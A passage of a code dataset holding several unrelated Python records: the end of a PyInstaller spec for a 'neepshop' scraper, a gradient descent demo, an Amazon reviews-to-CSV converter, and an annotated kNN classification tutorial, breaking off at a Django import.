'pyexpat.errors',\n 'xml.parsers.expat',\n 'zlib',\n '_compression',\n 'gzip',\n 'xmlrpc.client',\n 'weakref',\n 'copy',\n 'html.entities',\n 'html',\n 'posixpath',\n 'mimetypes',\n 'fnmatch',\n '_bz2',\n 'bz2',\n '_lzma',\n 'lzma',\n 'shutil',\n 'socketserver',\n 'http.server',\n '_opcode',\n 'opcode',\n 'dis',\n 'importlib.machinery',\n 'inspect',\n 'importlib.abc',\n 'importlib.util',\n 'pkgutil',\n 'pydoc',\n 'xmlrpc.server',\n '_pydev_imps._pydev_saved_modules',\n '_pydevd_bundle.pydevd_constants',\n '_pydev_bundle',\n '_pydev_runfiles',\n '_pydevd_frame_eval',\n 'pydev_ipython',\n 'pydevd_concurrency_analyser',\n 'zipfile',\n 'plistlib',\n 'tempfile',\n 'textwrap',\n 'pkg_resources.extern',\n 'pkg_resources._vendor',\n 'pkg_resources._vendor.six',\n 'pkg_resources._vendor.six',\n 'pkg_resources._vendor.six.moves',\n 'pkg_resources._vendor.six.moves',\n 'pkg_resources.py31compat',\n '_ctypes',\n 'ctypes._endian',\n 'ctypes',\n 'pkg_resources._vendor.appdirs',\n 'pkg_resources._vendor.packaging.__about__',\n 'pkg_resources._vendor.packaging',\n 'pkg_resources.extern.packaging._structures',\n 'pkg_resources.extern.packaging.version',\n 'pkg_resources.extern.packaging._compat',\n 'pkg_resources.extern.packaging.specifiers',\n 'pprint',\n 'pkg_resources._vendor.pyparsing',\n 'pkg_resources._vendor.six.moves.urllib',\n 'pkg_resources.extern.packaging.markers',\n 'pkg_resources.extern.packaging.requirements',\n 'sysconfig',\n 'pkg_resources',\n 'pydevd_plugins',\n 'atexit',\n '_pydev_imps._pydev_execfile',\n '_pydevd_bundle.pydevd_exec2',\n '_pydev_bundle.pydev_imports',\n '_pydev_bundle.pydev_log',\n '_pydev_bundle._pydev_filesystem_encoding',\n '_pydev_bundle.pydev_is_thread_alive',\n '_pydev_bundle.pydev_override',\n 'pydevd_plugins.extensions',\n '_pydevd_bundle.pydevd_extension_utils',\n 'glob',\n '_pydevd_bundle.pydevd_comm_constants',\n '_json',\n 'json.scanner',\n 'json.decoder',\n 'json.encoder',\n 'json',\n 'ctypes.wintypes',\n 'pydevd_file_utils',\n '_pydevd_bundle.pydevd_filtering',\n '_pydevd_bundle.pydevd_io',\n '_pydevd_bundle.pydevd_utils',\n '_pydevd_bundle.pydevd_dont_trace',\n '_pydevd_bundle.pydevd_frame_utils',\n 'gc',\n '_compat_pickle',\n '_pickle',\n 'pickle',\n 'trace',\n '_pydevd_bundle.pydevd_safe_repr',\n '_pydevd_bundle.pydevd_resolver',\n '_pydevd_bundle.pydevd_extension_api',\n '_pydevd_bundle.pydevd_xml',\n 'codeop',\n 'code',\n '_pydevd_bundle.pydevd_save_locals',\n '_pydevd_bundle.pydevd_vars',\n '_pydev_bundle._pydev_tipper_common',\n '_pydev_bundle._pydev_imports_tipper',\n '_pydev_bundle._pydev_calltip_util',\n 'signal',\n '_pydev_bundle.pydev_console_utils',\n '_pydev_bundle.pydev_umd',\n 'pydevconsole',\n '_pydev_bundle._pydev_completer',\n '_pydevd_bundle._debug_adapter',\n '_pydevd_bundle._debug_adapter.pydevd_schema_log',\n '_pydevd_bundle._debug_adapter.pydevd_base_schema',\n '_pydevd_bundle._debug_adapter.pydevd_schema',\n '_pydevd_bundle.pydevd_net_command',\n '_pydev_bundle.pydev_monkey',\n 'pydevd_tracing',\n '_pydevd_bundle.pydevd_console',\n '_pydevd_bundle.pydevd_comm',\n '_pydevd_bundle.pydevd_signature',\n '_pydevd_bundle.pydevd_frame',\n '_pydevd_bundle.pydevd_additional_thread_info_regular',\n '_pydevd_bundle.pydevd_additional_thread_info',\n '_pydevd_bundle.pydevd_import_class',\n '_pydevd_bundle.pydevd_breakpoints',\n '_pydevd_bundle.pydevd_defaults',\n '_pydevd_bundle.pydevd_custom_frames',\n '_pydevd_bundle.pydevd_dont_trace_files',\n '_pydevd_bundle.pydevd_kill_all_pydevd_threads',\n '_pydevd_bundle.pydevd_net_command_factory_xml',\n '_pydevd_bundle.pydevd_trace_dispatch_regular',\n '_pydevd_bundle.pydevd_trace_dispatch',\n '_pydevd_frame_eval.pydevd_frame_eval_main',\n '_pydevd_bundle.pydevd_source_mapping',\n 'pydevd_concurrency_analyser.pydevd_thread_wrappers',\n 'concurrent',\n 'logging',\n 'concurrent.futures._base',\n 'concurrent.futures',\n 'msvcrt',\n '_winapi',\n 'subprocess',\n 'asyncio.constants',\n 'asyncio.format_helpers',\n 'asyncio.base_futures',\n 'asyncio.log',\n 'asyncio.coroutines',\n '_contextvars',\n 'contextvars',\n 'asyncio.exceptions',\n 'asyncio.base_tasks',\n '_asyncio',\n 'asyncio.events',\n 'asyncio.futures',\n 'asyncio.protocols',\n 'asyncio.transports',\n 'asyncio.sslproto',\n 'typing.io',\n 'typing.re',\n 'typing',\n 'asyncio.locks',\n 'asyncio.tasks',\n 'asyncio.staggered',\n 'asyncio.trsock',\n 'asyncio.base_events',\n 'asyncio.runners',\n 'asyncio.queues',\n 'asyncio.streams',\n 'asyncio.subprocess',\n '_overlapped',\n 'asyncio.base_subprocess',\n 'asyncio.proactor_events',\n 'asyncio.selector_events',\n 'asyncio.windows_utils',\n 'asyncio.windows_events',\n 'asyncio',\n 'pydevd_concurrency_analyser.pydevd_concurrency_logger',\n '_pydevd_bundle.pydevd_collect_try_except_info',\n '_pydevd_bundle.pydevd_suspended_frames',\n '_pydevd_bundle.pydevd_net_command_factory_json',\n '_pydevd_bundle.pydevd_api',\n '_pydevd_bundle.pydevd_trace_api',\n 'pydevd_plugins.django_debug',\n 'pydevd_plugins.jinja2_debug',\n '_pydevd_bundle.pydevd_plugin_utils',\n 'pydevd_plugins.extensions.types',\n 'pydevd_plugins.extensions.types.pydevd_helpers',\n 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types',\n 'pydevd_plugins.extensions.types.pydevd_plugins_django_form_str',\n 'pydevd',\n 'ptvsd._vendored.force_pydevd',\n 'ptvsd._version',\n 'ptvsd.version',\n 'ptvsd.options',\n 'ptvsd.log',\n 'ptvsd._util',\n 'ptvsd.socket',\n 'ptvsd.messaging',\n 'ptvsd.multiproc',\n 'ptvsd.compat',\n 'encodings.ascii',\n 'ptvsd.ipcjson',\n 'ptvsd.reraise3',\n 'ptvsd.reraise',\n 'ptvsd.futures',\n 'ptvsd.wrapper',\n 'ptvsd.exit_handlers',\n 'ptvsd.session',\n 'ptvsd.daemon',\n 'ptvsd.pydevd_hooks',\n 'ptvsd._remote',\n 'ptvsd.attach_server',\n 'ptvsd.tracing',\n 'ptvsd',\n 'runpy',\n 'ptvsd.runner',\n 'ptvsd.__main__',\n '_pydevd_bundle.pydevd_json_debug_options',\n '_pydevd_bundle.pydevd_process_net_command_json',\n '_pydevd_bundle.pydevd_traceproperty',\n '_pydevd_bundle.pydevd_process_net_command',\n '_bootlocale',\n '_codecs_cn',\n '_multibytecodec',\n 'encodings.gbk',\n 'xlwt.compat',\n 'xlwt.UnicodeUtils',\n 'xlwt.BIFFRecords',\n 'xlwt.Formatting',\n 'xlwt.Style',\n 'xlwt.Workbook',\n 'xlwt.Bitmap',\n 'xlwt.Cell',\n 'xlwt.antlr',\n 'xlwt.ExcelMagic',\n 'xlwt.Utils',\n 'xlwt.ExcelFormulaParser',\n 'xlwt.ExcelFormulaLexer',\n 'xlwt.ExcelFormula',\n 'xlwt.Row',\n 'xlwt.Column',\n 'xlwt.Worksheet',\n 'xlwt',\n 'multidict._abc',\n 'multidict._multidict_base',\n 'multidict._multidict',\n 'multidict._compat',\n 'multidict',\n 'aiohttp.hdrs',\n '_hashlib',\n '_blake2',\n '_sha3',\n 'hashlib',\n 'uuid',\n 'attr._config',\n 'attr._compat',\n 'attr.exceptions',\n 'attr._make',\n 'attr.converters',\n 'attr.filters',\n 'attr.validators',\n 'attr._funcs',\n 'attr._version_info',\n 'attr',\n 'ipaddress',\n 'idna.package_data',\n 'idna.idnadata',\n 'unicodedata',\n 'idna.intranges',\n 'idna.core',\n 'idna',\n 'cython_runtime',\n 'yarl._quoting',\n 'yarl.quoting',\n 'yarl',\n 'pathlib',\n 'aiohttp.typedefs',\n 'aiohttp.http_exceptions',\n 'aiohttp.tcp_helpers',\n 'aiohttp.base_protocol',\n 'cgi',\n 'shlex',\n 'netrc',\n 'urllib.response',\n 'urllib.error',\n 'nturl2path',\n 'urllib.request',\n 'async_timeout',\n 'aiohttp.log',\n 'aiohttp.helpers',\n 'http.cookies',\n 'aiohttp.abc',\n 'aiohttp.http_writer',\n 'aiohttp.streams',\n 'aiohttp.http_parser',\n 'aiohttp.http_websocket',\n 'aiohttp.http',\n 'aiohttp.payload',\n 'aiohttp.client_exceptions',\n 'aiohttp.multipart',\n 'aiohttp.formdata',\n 'cchardet._cchardet',\n 'cchardet.version',\n 'cchardet',\n 'aiohttp.client_reqrep',\n 'aiohttp.client_ws',\n 'aiohttp.client_proto',\n 'aiohttp.locks',\n '_cffi_backend',\n '_cares.lib',\n 'pycares._cares',\n 'pycares._cares',\n 'pycares.utils',\n 'pycares.errno',\n 'pycares._version',\n 'pycares',\n 'aiodns.error',\n 'aiodns',\n 'aiohttp.resolver',\n 'aiohttp.connector',\n 'aiohttp.cookiejar',\n 'aiohttp.frozenlist',\n 'aiohttp.signals',\n 'aiohttp.tracing',\n 'aiohttp.client',\n 'aiohttp.payload_streamer',\n 'aiohttp',\n ],\n hookspath=[],\n runtime_hooks=[],\n excludes=[],\n win_no_prefer_redirects=False,\n win_private_assemblies=False,\n cipher=block_cipher,\n noarchive=False)\n\npyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)\n\nexe = EXE(pyz,\n a.scripts,\n a.binaries,\n a.zipfiles,\n a.datas, [],\n name='neepshop',\n debug=False,\n bootloader_ignore_signals=False,\n strip=False,\n upx=True,\n upx_exclude=[],\n runtime_tmpdir=None,\n console=True,\n icon='icon.ico')\n\n# exe = EXE(pyz,\n# a.scripts, [],\n# exclude_binaries=True,\n# name='spider_neepshop',\n# debug=False,\n# bootloader_ignore_signals=False,\n# strip=False,\n# upx=True,\n# console=True)\n\n# coll = COLLECT(exe,\n# a.binaries,\n# a.zipfiles,\n# a.datas,\n# strip=False,\n# upx=True,\n# upx_exclude=[],\n# name='spider_neepshop')","sub_path":"successed/2019-12/neepshop/spider_neepshop.spec","file_name":"spider_neepshop.spec","file_ext":"spec","file_size_in_byte":14161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"251458898","text":"#coding=utf-8\n\nimport numpy as np\nimport random\nfrom numpy import genfromtxt\n\n\ndef getData(dataSet):\n m, n = np.shape(dataSet)\n trainData = np.ones((m, n))\n trainData[:,:-1] = dataSet[:,:-1]\n trainLabel = dataSet[:,-1]\n return trainData, trainLabel\n\n\n# 批量梯度下降\ndef batchGradientDescent(x, y, theta, alpha, m, maxIterations):\n xTrains = x.transpose()\n for i in range(0, maxIterations):\n hypothesis = np.dot(x, theta)\n loss = hypothesis - y\n # print loss\n gradient = np.dot(xTrains, loss) / m\n theta = theta - alpha * gradient\n return theta\n\n\ndef predict(x, theta):\n m, n = np.shape(x)\n xTest = np.ones((m, n+1))\n xTest[:, :-1] = x\n yP = np.dot(xTest, theta)\n return yP\n\n\n# 格式[[x[0], x[1], y],\n# [x[0], x[1], y]....]\ndataSet = np.array([[1.1, 1.5, 2.5],\n [1.3, 1.9, 3.2],\n [1.5, 2.3, 3.9],\n [1.7, 2.7, 4.6],\n [1.9, 3.1, 5.3],\n [2.1, 3.5, 6],\n [2.3, 3.9, 6.7],\n [2.5, 4.3, 7.4],\n [2.7, 4.7, 8.1],\n [2.9, 5.1, 8.8]])\ntrainData, trainLabel = getData(dataSet)\nm, n = np.shape(trainData)\ntheta = np.ones(n)\nalpha = 0.1\nmaxIteration = 5000\ntheta = batchGradientDescent(trainData, trainLabel, theta, alpha, m, maxIteration)\nx = np.array([[3.1, 5.5], [3.3, 5.9], [3.5, 6.3], [3.7, 6.7], [3.9, 7.1]])\nprint(predict(x, theta))\nprint(theta)\n\n# theta[0]*x0 + theta[1]*x1 +theta[2] = y\n","sub_path":"gradient-descent.py","file_name":"gradient-descent.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"231353490","text":"# coding: utf-8\n\nfrom tqdm import tqdm\nimport json\n\nfrom argparse import ArgumentParser\n\n\nparser = ArgumentParser()\nparser.add_argument(\"-n\", \"--name\", default=\"reviews_Musical_Instruments_5\")\nparser.add_argument(\"-d\", \"--directory\", default=\"data\")\nargs = parser.parse_args()\n\npath = '{}/{}.json'.format(args.directory, args.name)\n\nfile = open(path)\n \nwith open('data/{}_ratings.csv'.format(args.name), 'wt') as out_file:\n \n users_count = 0\n items_count = 0\n \n user_to_id = {}\n item_to_id = {}\n \n out_file.write('userId,movieId,rating\\n')\n \n for rating_id, line in tqdm(enumerate(file), desc=\"Reading data from file\"):\n\n line = line.split('\\t')[-1]\n line = line[line.index('{'):]\n\n sample = json.loads(line)\n\n current_user_id = user_to_id.get(sample['reviewerID'], users_count)\n if current_user_id == users_count:\n user_to_id[sample['reviewerID']] = users_count\n users_count += 1\n \n current_item_id = item_to_id.get(sample['asin'], items_count)\n if current_item_id == items_count:\n item_to_id[sample['asin']] = items_count\n items_count += 1\n \n if int(sample['overall']) < 3.5:\n continue\n\n out_file.write(\"{},{},{:1}\\n\".format(current_user_id, current_item_id, int(sample['overall'])))\n\n\nwith open(\"data/{}_item_mapping.json\".format(args.name), \"wt\", encoding=\"utf-8\") as f_out:\n json.dump(fp=f_out, obj=item_to_id)\nwith open(\"data/{}_user_mapping.json\".format(args.name), \"wt\", encoding=\"utf-8\") as f_out:\n json.dump(fp=f_out, obj=user_to_id)\n\n\n\n\n","sub_path":"prepre.py","file_name":"prepre.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"122442769","text":"# 3.3.1: Introduction to kNN Classification\r\n# Learn about k-Nearest Neighbors classification\r\n\r\n# Statistical learning refers to a collection\r\n# of mathematical and computation tools to understand data.\r\n# In what is often called supervised learning,\r\n# the goal is to estimate or predict an output based on one or more inputs.\r\n# The inputs have many names, like predictors, independent variables,\r\n# features, and variables being called common.\r\n# The output or outputs are often called response variables,\r\n# or dependent variables.\r\n# If the response is quantitative-- say, a number that measures weight or height,\r\n# we call these problems regression problems.\r\n# If the response is qualitative-- say, yes or no, or blue or green,\r\n# we call these problems classification problems.\r\n# This case study deals with one specific approach to classification.\r\n# The goal is to set up a classifier such that when\r\n# it's presented with a new observation whose category is not known,\r\n# it will attempt to assign that observation to a category, or a class,\r\n# based on the observations for which it does know the true category.\r\n# This specific method is known as the k-Nearest Neighbors classifier,\r\n# or kNN for short.\r\n\r\n# ----------------------------------------------------------------\r\n# 3.3.2: Finding the Distance Between Two Points\r\n# Learn how to use Python to determine the Euclidean distance between two points expressed as NumPy arrays\r\n# Euclidean distance = teorema pitagoras\r\n\r\nimport numpy as np\r\n\r\n\r\ndef distance(p1, p2):\r\n \"\"\"\"Finds the distance between points p1 and p2\"\"\"\r\n return np.sqrt(np.sum(np.power(p2 - p1, 2)))\r\n\r\n\r\np1 = np.array([1, 1])\r\np2 = np.array([4, 4])\r\ndistance(p1, p2)\r\n\r\n\r\n# How is the Euclidean distance measure we use (as in Video 3.3.2) defined between points (a1, b1) and (a2, b2) ?\r\n# raiz cuadrada ( power2(a1 - a2) + power2(b1-b2) )\r\n\r\n# 3.3.3: Majority Vote\r\n# Learn how to find the most common vote in an array or sequence of votes\r\n# Compare two different methods for finding the most common vote,\r\n\r\ndef majority_vote_part_one(votes):\r\n \"\"\"\"xxx\"\"\"\r\n vote_counts = {}\r\n for vote in votes:\r\n if vote in vote_counts:\r\n vote_counts[vote] += 1\r\n else:\r\n vote_counts[vote] = 1\r\n return vote_counts\r\n\r\n\r\nvotes = [1,2,3,1,2,3,3,3,3]\r\nvote_counts = majority_vote_part_one(votes)\r\n# vote_counts\r\n# {1: 2, 2: 2, 3: 5}\r\n\r\n# We've now counted the votes and by looking at the dictionary,\r\n# we can see that number 3 occurs most frequently among the votes.\r\n# But how can we get Python to do this.\r\n# Let's rephrase our problem.\r\n# Given a dictionary where the values are counts,\r\n# how can we get Python to return the key that corresponds to largest value?\r\n\r\nmax_counts = max(vote_counts.values())\r\nwinners = []\r\nfor vote, count in vote_counts.items():\r\n if count == max_counts:\r\n winners.append(vote)\r\n\r\n\r\n# now we can update the initial function and add the selection of the winners logic\r\nimport random\r\ndef majority_vote(votes):\r\n \"\"\"\"\r\n Return the most common element in votes\r\n \"\"\"\r\n vote_counts = {}\r\n for vote in votes:\r\n if vote in vote_counts:\r\n vote_counts[vote] += 1\r\n else:\r\n vote_counts[vote] = 1\r\n\r\n max_counts = max(vote_counts.values())\r\n winners = []\r\n for vote, count in vote_counts.items():\r\n if count == max_counts:\r\n winners.append(vote)\r\n\r\n return random.choice(winners)\r\n\r\n\r\nvotes = [1, 2, 3, 1, 2, 3, 3, 3, 2, 2]\r\nvote_counts = majority_vote(votes)\r\n\r\n\r\n# MODE -> As you may remember, the most commonly occurring element in a sequence\r\n# is called mode in statistics.\r\n# If we google: how to find the mode of a numpy array, then we can see that we can\r\n# use scipy.stats.mode\r\n\r\nimport scipy.stats as ss\r\n\r\n\r\ndef majority_vote_short(votes):\r\n \"\"\"\"\r\n Return the most common element in votes.\r\n \"\"\"\r\n mode, count = ss.mstats.mode(votes)\r\n return mode\r\n\r\n\r\nvotes = [1,1,2,2,3,4,5]\r\nvote_counts = majority_vote_short(votes)\r\n\r\n\r\n# 3.3.4: Finding Nearest Neighbors\r\n# Learn how to find the nearest neighbors of an observation\r\n# Use the nearest neighbors to predict the class of an observation\r\n\r\n# we need to find which point are the nearest neighbors of any given point\r\n# that we're hoping to classify.\r\n# Pseudo code:\r\n# loop over all the points\r\n# for each point, calculate the distance to point p\r\n# sort distances and return those k points that are nearest to point p\r\n\r\n\r\npoints = np.array([[1, 1], [1, 2], [1, 3], [2, 1], [2, 2], [2, 3], [3, 1], [3, 2], [3, 3]])\r\np = np.array([2.5, 2])\r\n\r\nimport matplotlib.pyplot as plt\r\n# elements in column 0, elements in column 1\r\nplt.plot(points[:, 0], points[:, 1], \"ro\")\r\nplt.plot(p[0], p[1], \"bo\")\r\n# to add more space in the borders\r\nplt.axes([0.5, 3.5, 0.5, 3.5])\r\n\r\n# shape[0] because it returns the lengths of rows and columns\r\ndistances = np.zeros(points.shape[0])\r\nfor i in range(len(distances)):\r\n distances[i] = distance(p, points[i])\r\n# what we really would like to get\r\n# is an INDEX vector that would sort the array.\r\n# Fortunately, this function exists in NumPy and it's called argsort.\r\n\r\nind = np.argsort(distances)\r\n# array([4, 7, 3, 5, 6, 8, 1, 0, 2], dtype=int64)\r\n# distances[ind]\r\n# array([0.5 , 0.5 , 1.11803399, 1.11803399, 1.11803399,\r\n# 1.11803399, 1.5 , 1.80277564, 1.80277564])\r\n\r\n# If we wanted to take the say, two nearest elements,\r\n# we would just pick the first two indices of the end vector.\r\n# So we would type from 0 to 2,\r\ndistances[ind[0:2]]\r\n# array([0.5, 0.5])\r\n\r\ndef find_nearest_neighbords(p, points, k=5):\r\n \"\"\"\"\r\n Find the k nearest neighbors of point p and return their indices\r\n \"\"\"\r\n distances = np.zeros(points.shape[0])\r\n for i in range(len(points)):\r\n distances[i] = distance(p, points[i])\r\n ind = np.argsort(distances)\r\n # return can also be ind[:k]\r\n return ind[0:k]\r\n\r\nind = find_nearest_neighbords(p, points, 5)\r\nprint(points[ind])\r\n\r\n# Pseudo code\r\n# find k nearest neighbors\r\n# predict the class of p based on the majority vote\r\ndef knn_predict(p, points, outcomes, k):\r\n \"\"\"\"\r\n Classifies point p based on the classes provided by 'outcomes'\r\n outcomes: the classes of the points that are specified in the input variable points.\r\n\r\n \"\"\"\r\n ind = find_nearest_neighbords(p, points, k)\r\n return majority_vote(outcomes[ind])\r\n\r\n\r\npoints = np.array([[1, 1], [1, 2], [1, 3], [2, 1], [2, 2], [2, 3], [3, 1], [3, 2], [3, 3]])\r\np = np.array([2.5, 2])\r\noutcomes = np.array([0,0,0,0,1,1,1,1,1])\r\n\r\nknn_predict(np.array([2.5, 2.7]), points, outcomes, k=2)\r\n\r\n\r\n# 3.3.5: Generating Synthetic Data\r\n# synthetic data because we will be generating these data with the help of the computer.\r\n# we'll generate predictors from two bivariate normal distributions, where the first distribution gives rise\r\n# to observations belonging to class 0, and the second gives rise\r\n# to observations belonging to class 1.\r\n# The word, bivariate, just means 2 variables, like x and y.\r\n\r\n# First, we specify the mean and standard deviation for observations coming from class 1.\r\n# We'd like to generate in this example, 5 rows and 2 columns of observations\r\n# coming from this particular normal distribution.\r\nss.norm(0,1).rvs((5,2))\r\n# For the other class, we'll have the same line, except that we change the mean to be equal to 1.\r\nss.norm(1,1).rvs((5,2))\r\n# The next step for us is to concatenate these two arrays\r\n# so that we get a single array consisting of 10 rows and 2 columns.\r\n# And then we need to specify the axis of concatenation, which is in this case, # equal to 0.\r\n# That's because we're concatenating along the rows of these arrays.\r\nnp.concatenate((ss.norm(0,1).rvs((5,2)), ss.norm(1,1).rvs((5,2))), axis=0)\r\n# We run this, and we get the output we expect, which is 10 rows and 2 columns.\r\n\r\n# To turn this into a function, we want to be able to specify the number of rows in our synthetic data set.\r\n# We'll tweak the code here so that we have first, n observations from the first category, category 0,\r\n# and then that's going to be followed by n observations from the second category, called category 1 or class 1.\r\n# So far we've generated the points for each of these two classes,\r\nn = 5\r\nnp.concatenate((ss.norm(0,1).rvs((n,2)), ss.norm(1,1).rvs((n,2))), axis=0)\r\n# we also need to generate are the outcomes.\r\n# Remember, the first n observations have outcome equal to 0, which is the class label.\r\n# The second group of observations have class label or outcome equal to 1.\r\n# First we'd like to repeat 0 n times. Then repeat 1, n times.\r\noutcomes = np.concatenate((np.repeat(0, n), np.repeat(1, n)))\r\n# Now define the function\r\ndef generate_synth_data(n=50):\r\n \"\"\"\"\r\n Create 2 sets of points from bivariate normal distributions.\r\n \"\"\"\r\n points = np.concatenate((ss.norm(0, 1).rvs((n, 2)), ss.norm(1, 1).rvs((n, 2))), axis=0)\r\n outcomes = np.concatenate((np.repeat(0, n), np.repeat(1, n)))\r\n return (points, outcomes)\r\n\r\n\r\nn = 20\r\n(points, outcomes) = generate_synth_data(n)\r\n# Let's plot the data\r\nplt.figure()\r\n# Observations in the first class correspond to the first n rows of our data,\r\n# and the x coordinates are located in column 0, and the y coordinates in column 1.\r\nplt.plot(points[:n, 0], points[:n, 1], \"ro\")\r\n# Observations in the second category are the remaining rows, again,\r\n# in calling 0 for the x values and the remaining rows in column 1 for the y values.\r\nplt.plot(points[n:, 0], points[n:, 1], \"bo\")\r\n\r\n# 3.3.6: Making a Prediction Grid\r\n# Learn how to make a prediction grid\r\n# Learn how to use enumerate\r\n# Learn how to use NumPy meshgrid\r\n\r\n# we can examine some part of the predictor space and compute the class prediction for each\r\n# point in the grid using the knn classifier.\r\n# So instead of finding out how our classifier might classify a given\r\n# point, we can ask how it classifies all points that belong to a rectangular region of the predictor space\r\n\r\ndef make_prediction_grid(predictors, outcomes, limits, h, k):\r\n \"\"\"\r\n Classify each point on the prediction grid.\r\n Run through all of the points on our prediction grid and will predict the class label\r\n corresponding to that point.\r\n :param predictors:\r\n :param outcomes:\r\n :param limits:\r\n :param h:\r\n :param k:\r\n :return:\r\n \"\"\"\r\n (x_min, x_max, y_min, y_max) = limits\r\n xs = np.arange(x_min, x_max, h)\r\n ys = np.arange(y_min, y_max, h)\r\n # Numpy mesh grid: which takes in our xs and our ys, and it generates two 2-dimensional arrays.\r\n # Meshgrid takes in two or more coordinate vectors, say one vector containing the x values of\r\n # interest and the other containing the y values of interest.\r\n # It returns matrices, the first containing the x values\r\n # for each grid point and the second containing the y values for each grid point.\r\n xx, yy = np.meshgrid(xs, ys)\r\n\r\n # We next need to generate our classifiers prediction corresponding\r\n # to every point of the meshgrid.\r\n prediction_grip = np.zeros(xx.shape, dtype=int)\r\n\r\n for i, x in enumerate(xs):\r\n for j, y in enumerate(ys):\r\n p = np.array(x, y)\r\n # Note that we're doing the assignment j, i, not the other way around.\r\n # This is because j corresponds to y values, and when we specify an index using square brackets,\r\n # the first argument, corresponds to the role of the array. ?????????????\r\n # That's why we want to make sure that we will assign the y values the rows of the array\r\n # and the x values the columns of array.\r\n prediction_grip[j, i] = knn_predict(p, predictors, outcomes, k)\r\n\r\n return (xx, yy, prediction_grip)\r\n\r\n\r\ndef plot_prediction_grid (xx, yy, prediction_grid, filename):\r\n \"\"\" Plot KNN predictions for every point on the grid.\"\"\"\r\n from matplotlib.colors import ListedColormap\r\n background_colormap = ListedColormap ([\"hotpink\",\"lightskyblue\", \"yellowgreen\"])\r\n observation_colormap = ListedColormap ([\"red\",\"blue\",\"green\"])\r\n plt.figure(figsize =(10,10))\r\n plt.pcolormesh(xx, yy, prediction_grid, cmap = background_colormap, alpha = 0.5)\r\n plt.scatter(predictors[:,0], predictors [:,1], c = outcomes, cmap = observation_colormap, s = 50)\r\n plt.xlabel('Variable 1'); plt.ylabel('Variable 2')\r\n plt.xticks(()); plt.yticks(())\r\n plt.xlim (np.min(xx), np.max(xx))\r\n plt.ylim (np.min(yy), np.max(yy))\r\n plt.savefig(filename)\r\n\r\n# 3.3.7: Plotting the Prediction Grid\r\n# Learn how to plot the prediction grid\r\n# Learn about the bias-variance tradeoff\r\n# We can now try out different values for k. If you use a small value you'll see that the boundary between the colors,\r\n# the so-called decision boundary, is more smooth the larger the value of k.\r\n# This means that k controls the smoothness of the fit.\r\n\r\n(predictors, outcomes) = generate_synth_data(50)\r\n\r\nk = 5; filename = \"knn_synth_5.pdf\"; limits = (-3, 4, -3, 4); h = 0.1\r\n(xx, yy, prediction_grid) = make_prediction_grid(predictors, outcomes, limits, h, k)\r\nplot_prediction_grid(xx, yy, prediction_grid, filename)\r\nk = 50; filename = \"knn_synth_50.pdf\"; limits = (-3, 4, -3, 4); h = 0.1\r\nplot_prediction_grid(xx, yy, prediction_grid, filename)\r\n\r\n# Looking at the plot here for k equals 50, we can see that the decision boundary is pretty smooth.\r\n# In contrast, if you look at the plot on the right, where k is equal to 5,\r\n# you'll see that the shape of the decision boundary is more complicated.\r\n# It seems that you might be able to find a value of k that maximizes the accuracy of the predictions.\r\n# But that's somewhat short sighted. This is because what you really care about is not\r\n# how well your method performs on the training data set, the data set we've used so far.\r\n# But rather how well it performs on a future dataset you haven't yet seen.\r\n# It turns out that using a value for k that's too large or too small is not optimal.\r\n# A phenomenon that is known as the bias-variance tradeoff.\r\n# This suggests that some intermediate values of k might be best.\r\n\r\n# 3.3.8: Applying the kNN Method\r\n# Learn how to apply the homemade kNN classifier to a real dataset\r\n# Compare the performance of the homemade kNN classifier to the performance of the kNN classifier\r\n# from the scikit-learn module\r\n\r\n# SciKitLearn is an open source machine learning library for Python.\r\n# It's a very extensive library.\r\n# Here, we will only make use of its knn classifier.\r\n# But there is much, much more there to explore.\r\n# We'll be applying both the SciKitLearn and our homemade classifier\r\n# to a classic data set created by Ron Fisher in 1933.\r\n# It consists of 150 different iris flowers. 50 from each of three different species.\r\n# For each flower, we have the following covariates: sepal length, sepal width,\r\n# petal length, and petal width.\r\n\r\nfrom sklearn import datasets\r\n\r\niris = datasets.load_iris()\r\n# For simplicity, we'll just look at the first two covariates or predictors in our example.\r\npredictors = iris.data[:, 0:2]\r\noutcomes = iris.target\r\n\r\nplt.plot(predictors[outcomes == 0][:, 0], predictors[outcomes == 0][:, 1], \"ro\")\r\nplt.plot(predictors[outcomes == 1][:, 0], predictors[outcomes == 1][:, 1], \"go\")\r\nplt.plot(predictors[outcomes == 2][:, 0], predictors[outcomes == 2][:, 1], \"bo\")\r\n\r\n# So we have observations from three different groups represented by the dots that are colored green, blue, and red.\r\n# X-axis and y-axis correspond to the values of our predictors.\r\n\r\n# Prediction Grid Plot\r\n\r\nk = 5; filename = \"iris_grid.pdf\"; limits = (4, 8, 1.5, 4.5); h = 0.1\r\n(xx, yy, prediction_grid) = make_prediction_grid(predictors, outcomes, limits, h, k)\r\nplot_prediction_grid(xx, yy, prediction_grid, filename)\r\n\r\n# Let's then fit the knn classifier using both the algorithm from SciKitLearn\r\n# as well as our own homemade algorithm.\r\n\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\n\r\nknn = KNeighborsClassifier(n_neighbors=5)\r\nknn.fit(predictors, outcomes)\r\nsk_predictions = knn.predict(predictors)\r\n\r\n# Let's build an array that consists of my predictions. We'll construct this is a np.array.\r\n# And we'll be building that as a list comprehension. We called the knn_predict function.\r\n\r\nmy_predictions = np.array([knn_predict(p, predictors, outcomes, 5) for p in predictors])\r\n\r\n# What we would like to do is compare the predictions obtained by the SciKit library to our own homemade predictions.\r\nmy_predictions == sk_predictions\r\n\r\n# In this case, we see that my predictions and the SciKit predictions agree 96% of the time.\r\nprint(100 * np.mean(sk_predictions==my_predictions))\r\n\r\n# We can also ask how frequently do my predictions and SciKit predictions agree with the actual observed outcomes.\r\nprint(100 * np.mean(sk_predictions==outcomes))\r\nprint(100 * np.mean(my_predictions==outcomes))\r\n\r\n","sub_path":"Week3CaseStudy3kNNClassification.py","file_name":"Week3CaseStudy3kNNClassification.py","file_ext":"py","file_size_in_byte":16881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"34878370","text":"from django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\nimport 